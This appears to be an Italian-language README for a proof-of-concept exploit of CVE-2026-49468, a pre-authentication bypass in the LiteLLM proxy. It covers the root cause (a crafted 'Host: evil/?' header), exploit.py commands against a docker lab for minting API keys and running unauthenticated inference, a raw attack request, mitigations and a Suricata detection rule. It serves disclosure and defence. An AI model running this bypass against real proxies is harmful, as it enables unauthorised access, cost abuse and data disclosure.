biitts/cve-2026-49468-litellm-auth-bypassCVE-2026-49468 — LiteLLM (<1.84.0) bypass di autenticazione non autenticato tramite confusione di route Host-header. PoC + docker lab.
Bypass di autenticazione/autorizzazione pre-autenticazione nel proxy LiteLLM (BerriAI). Un singolo header Host manipolato fa sì che il proxy valuti la sua decisione di autenticazione rispetto a una route di health pubblica mentre FastAPI esegue comunque il gestore di management protetto — servendo la richiesta senza API key.
| CVE | CVE-2026-49468 |
| Prodotto | LiteLLM (BerriAI) proxy |
| Affetto | < 1.84.0 (verificato su v1.83.14-stable) |
| Corretto | 1.84.0 |
| Classe | Autenticazione Impropria (CWE-290) — confusione di route |
| Auth | Nessuna (pre-auth) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD) |
| CVSS 4.0 | 9.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub) |
| Stato | CONFERMATO — bypass riprodotto end-to-end; correzione verificata su 1.84.0 |
L'intero exploit è un header:
Host: evil/?
litellm/proxy/auth/auth_utils.py::get_request_route() deriva la route usata per ogni decisione di autenticazione da request.url.path. Starlette ricostruisce quella stringa URL dall'header Host controllato dal client:
# starlette/datastructures.py (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}" # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path
Il routing di FastAPI smista sul percorso ASGI grezzo request.scope["path"]. Iniettare un ? nell'header Host spinge il percorso reale della richiesta nel componente query dell'URL, quindi il url.path ricostruito si riduce a /:
real request path (scope, FastAPI routes here) : /key/generate
Host header : evil/?
reconstructed URL : http://evil/?/key/generate
urlsplit(...).path : / <-- auth sees this
/ è in LiteLLMRoutes.public_routes, ed entrambi i gate di autenticazione si cortocircuitano sulle route pubbliche usando lo stesso valore falsificato:
# user_api_key_auth.py — authentication builder
if route in public_routes: # route == "/"
return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # no API key required
# user_api_key_auth.py — authorization wrapper
if route in public_routes: # route == "/"
return # skips common_checks / admin-route enforcement
Correzione (1.84.0): get_request_route() ora legge direttamente request.scope["path"] / scope["root_path"], senza mai ricostruire dall'header Host.
Raggiungibili senza autenticazione (serviti come INTERNAL_USER_VIEW_ONLY):
POST /key/generate → genera una chiave API virtuale valida. La chiave funziona come normale autenticazione senza header di bypass → punto d'appoggio autenticato persistente e abuso dei costi del provider.POST /user/new → crea utenti.POST /chat/completions (+ /v1/models, /model/info) → inferenza non autenticata contro i provider LLM configurati del proxy.GET /spend/logs, /settings, /get/config/callbacks → divulgazione di configurazione / telemetria.Gli endpoint protetti da un controllo in linea PROXY_ADMIN rimangono bloccati (/config/update, /model/new, /user/list, /key/list, elevazione dei ruoli, creazione diretta MCP), quindi questo bypass non produce un controllo completo da proxy-admin o RCE su v1.83.14 — vedi ANALYSIS.md.
# 1. bring up a vulnerable + patched lab (auth enabled with a master key)
cd lab && docker compose up -d && cd ..
# 2. confirm the bypass
python3 exploit.py -u http://127.0.0.1:4000 check
# [*] GET /user/list no-bypass Host -> 401
# [*] GET /user/list Host: evil/? -> 403
# [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).
# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
# [+] Minted virtual API key (unauthenticated): sk-....
# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump
# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check
exploit.py usa solo stdlib (http.client) e imposta l'header Host letteralmente a livello di trasporto. Azioni: check, mint-key, user, chat, dump, raw METHOD PATH.
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2
{}
HTTP/1.1 200 OK
{"key":"sk-...", ...}
Vedi EVIDENCE.txt per la matrice completa baseline/bypass, il discriminante avversario (evil → 401, evil/foo → 401, evil/? → 200), e il confine patchato.
1.84.0 o successivo.Host rigorosa (rifiuta valori Host contenenti /, ?, #), e imposta una master_key.Il bypass è un header Host sintatticamente non valido. Esempio di regola Suricata:
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
flow:to_server,established; http.host; pcre:"/[\/?#]/";
classtype:web-application-attack; sid:2026049468; rev:1;)
Dal lato dei log: qualsiasi richiesta il cui header Host contenga /, ? o # che raggiunga un proxy LiteLLM.
Caio Fabrício (BiiTts).
Solo per ricerca e test di sicurezza autorizzati.